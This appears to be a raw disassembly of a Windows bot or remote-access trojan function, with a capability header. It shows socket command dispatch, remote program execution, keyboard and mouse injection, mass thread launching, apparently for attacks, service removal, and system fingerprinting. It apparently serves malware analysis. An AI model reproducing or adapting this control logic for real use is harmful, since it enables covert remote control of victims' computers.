Function at 0x4049a0
Capabilities:
Connect socket
Create thread
Terminate thread

Disassembly:
mov eax, 0x2244
call fcn.00408950
mov ax, word [0x412e44]
push ebx
push ebp
push esi
push edi
push eax
mov word [esp + 0x28], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x412d40
mov word [esp + 0x2a], ax
call fcn.00403a60
add esp, 4
xor ebx, ebx
mov dword [esp + 0x28], eax
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0x24]
mov ebp, eax
push 0x10
push ecx
push ebp
mov dword [esp + 0x2c], ebp
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404a0d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2244
ret 4
push 0x4b
push ebp
call fcn.00403550
mov ecx, 0x39
xor eax, eax
lea edi, [esp + 0x1f8]
lea edx, [esp + 0x1f8]
rep stosd dword es:[edi], eax
push edx
call 0x405780
add esp, 0xc
lea eax, [esp + 0x290]
push 0x412e4c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.00408520
mov dword [esp + 0x2d0], eax
mov ecx, 0x5db
xor eax, eax
lea edi, [esp + 0xae5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x412e48]
lea edx, [esp + 0x10]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x18], ecx
lea eax, [esp + 0x1f0]
mov ecx, 0x39
lea esi, [esp + 0x1f0]
lea edi, [esp + 0xae4]
push edx
push eax
push ebp
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1c], 0x11000000
mov dword [esp + 0x20], 0xe4
call fcn.004036a0
add esp, 0xc
test eax, eax
jne 0x404ac9
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2244
ret 4
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
lea edx, [esp + 0xae4]
push ecx
push edx
push edi
call fcn.004036f0
add esp, 0xc
test eax, eax
je 0x40564d
mov eax, dword [esp + 0x10]
cmp eax, 0x28000000
ja 0x404f4f
je 0x404f3b
cmp eax, 0x20000015
ja 0x404dd6
je 0x404db3
add eax, 0xe0000000
cmp eax, 0x14
ja case.default.0x404df5
xor ecx, ecx
mov cl, byte [eax + 0x405750]
jmp dword [ecx*4 + 0x40572c]
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0xae4]
push edx
lea ecx, [esp + 0x4e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 3
push ebx
lea edx, [esp + 0x4e4]
push ebx
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.default.0x404df5
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x8e4]
lea edx, [esp + 0x8e4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x7e0]
lea edx, [esp + 0x7e0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d5]
mov byte [esp + 0x2d4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2d4]
push 0x41393c
push eax
call fcn.00405a30
lea ecx, [esp + 0x2dc]
lea edx, [esp + 0x7e8]
push ecx
push edx
call fcn.00405aa0
lea eax, [esp + 0x2e4]
push eax
call fcn.00405d30
add esp, 0x14
test eax, eax
je case.default.0x404df5
lea ecx, [esp + 0x2d4]
push ecx
call fcn.00404870
add esp, 4
jmp case.default.0x404df5
lea ecx, [esp + 0x160]
call fcn.00407ed0
mov edx, dword [esp + 0x18]
push ebx
push ebx
push ebx
push edx
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x160]
call fcn.00407f20
jmp case.default.0x404df5
lea ecx, [esp + 0x130]
call fcn.00407ed0
mov eax, dword [esp + 0x18]
push ebx
push 2
push ebx
push eax
call dword [sym.imp.USER32.dll_keybd_event]
lea ecx, [esp + 0x130]
call fcn.00407f20
jmp case.default.0x404df5
lea ecx, [esp + 0xd0]
call fcn.00407ed0
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
lea ecx, [esp + 0xd0]
call fcn.00407f20
jmp case.default.0x404df5
lea ecx, [esp + 0x190]
call fcn.00407ed0
push ebx
push ebx
push ebx
push ebx
push 2
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x190]
call fcn.00407f20
jmp case.default.0x404df5
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x9e4]
lea edx, [esp + 0x9e4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6dc]
lea edx, [esp + 0x6dc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xae4]
inc eax
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d9]
mov byte [esp + 0x3d8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3d8]
push 0x41393c
push eax
call fcn.00405a30
lea ecx, [esp + 0x3e0]
lea edx, [esp + 0x6e4]
push ecx
push edx
call fcn.00405aa0
add esp, 0x10
test eax, eax
je case.default.0x404df5
lea eax, [esp + 0x3d8]
push eax
call fcn.00405d30
add esp, 4
test eax, eax
jne 0x4056c5
jmp case.default.0x404df5
lea ecx, [esp + 0x70]
call fcn.00407ed0
push ebx
push ebx
push ebx
push ebx
push 4
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x70]
call fcn.00407f20
jmp case.default.0x404df5
cmp eax, 0x21000000
ja 0x404ee2
je 0x404ece
add eax, 0xdfffffea
cmp eax, 3
ja case.default.0x404df5
jmp dword [eax*4 + 0x405768]
lea ecx, [esp + 0xa0]
call fcn.00407ed0
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push ebx
push ebx
push ebx
push ebx
push 2
call edi
push ebx
push ebx
push ebx
push ebx
push 4
call edi
push ebx
push ebx
push ebx
push ebx
push 2
call edi
push ebx
push ebx
push ebx
push ebx
push 4
call edi
lea ecx, [esp + 0xa0]
call fcn.00407f20
jmp case.default.0x404df5
lea ecx, [esp + 0x100]
call fcn.00407ed0
push ebx
push ebx
push ebx
push ebx
push 8
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x100]
call fcn.00407f20
jmp case.default.0x404df5
lea ecx, [esp + 0x40]
call fcn.00407ed0
push ebx
push ebx
push ebx
push ebx
push 0x10
call dword [sym.imp.USER32.dll_mouse_event]
lea ecx, [esp + 0x40]
call fcn.00407f20
jmp case.default.0x404df5
lea ecx, [esp + 0x1c0]
call fcn.00407ed0
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push ebx
push ebx
push ebx
push ebx
push 8
call edi
push ebx
push ebx
push ebx
push ebx
push 0x10
call edi
push ebx
push ebx
push ebx
push ebx
push 8
call edi
push ebx
push ebx
push ebx
push ebx
push 0x10
call edi
lea ecx, [esp + 0x1c0]
call fcn.00407f20
jmp case.default.0x404df5
push ebx
push ebx
push ebx
push 0x406bd0
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
cmp eax, 0x22000001
je 0x404f23
cmp eax, 0x23000000
je 0x404f0f
cmp eax, 0x25000000
jne case.default.0x404df5
push ebx
push ebx
push ebx
push 0x406ac0
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
push ebx
push ebx
push ebx
push 0x405fb0
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
mov ecx, dword [esp + 0x18]
push ebx
push ebx
push ecx
push 0x4065f0
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
push ebx
push ebx
push ebx
push 0x406840
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
cmp eax, 0x32000002
ja 0x40530b
je 0x4052a7
cmp eax, 0x31000004
ja 0x40515b
je 0x4050f8
cmp eax, 0x31000002
ja 0x405089
je 0x405025
cmp eax, 0x30000001
je 0x405005
cmp eax, 0x31000001
jne case.default.0x404df5
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404970
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], edx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236d8]
cmp eax, ebx
jne 0x40543b
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x404fe3
jmp case.default.0x404df5
mov eax, dword [0x4236d4]
mov dword [0x4137f8], ebx
cmp eax, ebx
je case.default.0x404df5
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp case.default.0x404df5
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404970
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], edx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x402080
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405067
jmp case.default.0x404df5
cmp eax, 0x31000003
jne case.default.0x404df5
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404970
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], ecx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4050d6
jmp case.default.0x404df5
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404970
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], eax
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401ec0
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x405139
jmp case.default.0x404df5
sub eax, 0x31000005
je 0x40523c
dec eax
je 0x4051d8
sub eax, 0xfffffb
jne case.default.0x404df5
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404970
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], edx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401460
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4051b6
jmp case.default.0x404df5
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404970
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], ecx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x402380
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40521a
jmp case.default.0x404df5
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404970
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], eax
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x402210
push ebx
push ebx
call esi
push eax
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40527d
jmp case.default.0x404df5
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404970
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], edx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401290
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4052e9
jmp case.default.0x404df5
cmp eax, 0x34000002
ja 0x405522
je 0x4054bf
cmp eax, 0x33000003
ja 0x4054af
je 0x405402
sub eax, 0x33000001
je 0x40539f
dec eax
jne case.default.0x404df5
push ebx
lea edx, [esp + 0xbb8]
push ebx
push edx
push 0x404970
lea ecx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], ecx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x40537d
jmp case.default.0x404df5
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404970
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], eax
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x402440
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4053e0
jmp case.default.0x404df5
push ebx
lea eax, [esp + 0xbb8]
push ebx
push eax
push 0x404970
mov edi, 1
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], edi
mov dword [0x4236cc], edx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236d8]
cmp eax, edi
jne 0x405455
mov ecx, dword [0x4236cc]
push ebx
push ebx
push ecx
push 0x401ca0
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
mov ecx, dword [0x4236cc]
xor edi, edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle case.default.0x404df5
push ebx
push ebx
push ecx
push 0x401d60
push ebx
push ebx
call esi
push eax
call ebp
mov edx, dword [0x4236cc]
push ebx
push ebx
push edx
push 0x402210
push ebx
push ebx
call esi
push eax
call ebp
mov ecx, dword [0x4236cc]
inc edi
mov eax, dword [ecx + 0xcc]
cdq
sub eax, edx
sar eax, 1
cmp edi, eax
jl 0x405470
jmp case.default.0x404df5
cmp eax, 0x34000001
je 0x4055e9
jmp case.default.0x404df5
push ebx
lea ecx, [esp + 0x1f44]
push ebx
push ecx
push 0x404970
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236d0], eax
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236d0]
xor edi, edi
cmp dword [eax + 0x1458], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x4027d0
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236d0]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x405500
jmp case.default.0x404df5
cmp eax, 0x34000003
je 0x4055e9
cmp eax, 0x36000001
je 0x405586
cmp eax, 0x37000002
jne case.default.0x404df5
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5dc]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0xae4]
push edx
lea ecx, [esp + 0x5e0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
lea edx, [esp + 0x5e0]
push ebx
push edx
push 0x405e80
push ebx
push ebx
call esi
push eax
call ebp
jmp case.default.0x404df5
push ebx
lea ecx, [esp + 0xbb8]
push ebx
push ecx
push 0x404970
lea eax, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236cc], eax
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236cc]
xor edi, edi
cmp dword [eax + 0xcc], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x401660
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236cc]
inc edi
cmp edi, dword [eax + 0xcc]
jl 0x4055c7
jmp case.default.0x404df5
push ebx
lea eax, [esp + 0x1f44]
push ebx
push eax
push 0x404970
lea edx, [esp + 0xaf4]
push ebx
push ebx
mov dword [0x4137f8], 1
mov dword [0x4236d0], edx
call esi
mov dword [0x4236d4], eax
mov eax, dword [0x4236d0]
xor edi, edi
cmp dword [eax + 0x1458], ebx
jle case.default.0x404df5
push ebx
push ebx
push eax
push 0x4026b0
push ebx
push ebx
call esi
push eax
call ebp
mov eax, dword [0x4236d0]
inc edi
cmp edi, dword [eax + 0x1458]
jl 0x40562b
jmp case.default.0x404df5
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
jmp 0x404ab1
mov ecx, dword [0x4236e4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [0x4236e0], ebx
je 0x4056a6
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x412728
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
call fcn.004071e0
lea edx, [esp + 0x34]
push 0x413938
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x4236e4]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [0x4236e0], ebx
je 0x40570e
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x412728
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
lea ecx, [esp + 0x3d8]
push ecx
call fcn.00404870
add esp, 4
call fcn.004071e0
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
mov edi, edi
pop esp
push esi
inc eax
add byte [edi + 0x4b], bh
inc eax
add byte [esi], dh
dec ebx
inc eax
add dl, dh
dec esp
inc eax
add byte [ebp + 0x4c], al
inc eax
add byte [eax + 0x4c], dh
inc eax
add byte [esp + ecx*2 + 0x4cc90040], bl
inc eax
add ch, dl
dec edx
inc eax
add byte [eax], al
or byte [eax], cl
or byte [ecx], al
add cl, byte [eax]
add ecx, dword [eax]
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
add al, 5
push es
pop es
lea ecx, [ecx]
cld
dec ebp
inc eax
add byte [edi], bh
dec esi
inc eax
add byte [eax + 0x4e], ch
inc eax
add byte [ebx - 0x6fffbfb2], cl
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x2e4
push ebx
push ebp
mov ebp, dword [esp + 0x2f0]
push esi
push edi
mov ecx, 0x39
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x40
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x30]
lea eax, [ebp + 0x40]
shr edx, 0x14
inc edx
push edx
push str._uMB
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xf9]
mov byte [esp + 0xf8], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0xec]
stosw word es:[edi], ax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push ecx
stosb byte es:[edi], al
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
push 0xf003f
lea eax, [esp + 0xf4]
push 0
push eax
push connect
call ebx
test eax, eax
jne 0x405875
lea ecx, [esp + 0x20]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
mov dword [esp + 0x28], 4
mov dword [esp + 0x38], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x5c]
push ecx
push edx
lea eax, [ebp + 0xc0]
push str._u_u_MHz
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1f0]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1f0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push 0xf003f
push edi
push edx
push connect
call ebx
test eax, eax
jne 0x40591b
lea eax, [esp + 0x10]
lea ecx, [esp + 0x6c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push edx
push edi
push 0x4139c0
push eax
mov dword [esp + 0x28], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
je 0x40594b
mov dword [0x4236d8], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2000
jmp 0x405a03
lea ecx, [esp + 0x6c]
push 0x4139a4
push ecx
call esi
add esp, 8
test eax, eax
je 0x405971
mov dword [0x4236d8], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_XP
jmp 0x405a03
lea ecx, [esp + 0x6c]
push str.2003
push ecx
call esi
add esp, 8
test eax, eax
je 0x405998
mov dword [0x4236d8], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2003
jmp 0x405a03
lea ecx, [esp + 0x6c]
push str.Vista
push ecx
call esi
add esp, 8
test eax, eax
je 0x4059bb
mov dword [0x4236d8], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_Vista
jmp 0x405a03
lea ecx, [esp + 0x6c]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
je 0x4059e2
mov dword [0x4236d8], 1
lea edx, [ebp + 0x60]
mov edi, str.Windows_2008
jmp 0x405a03
lea ecx, [esp + 0x6c]
push 0x41394c
push ecx
call esi
add esp, 8
test eax, eax
je 0x405a20
mov dword [0x4236d8], edi
lea edx, [ebp + 0x60]
mov edi, str.Windows_7
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2e4
ret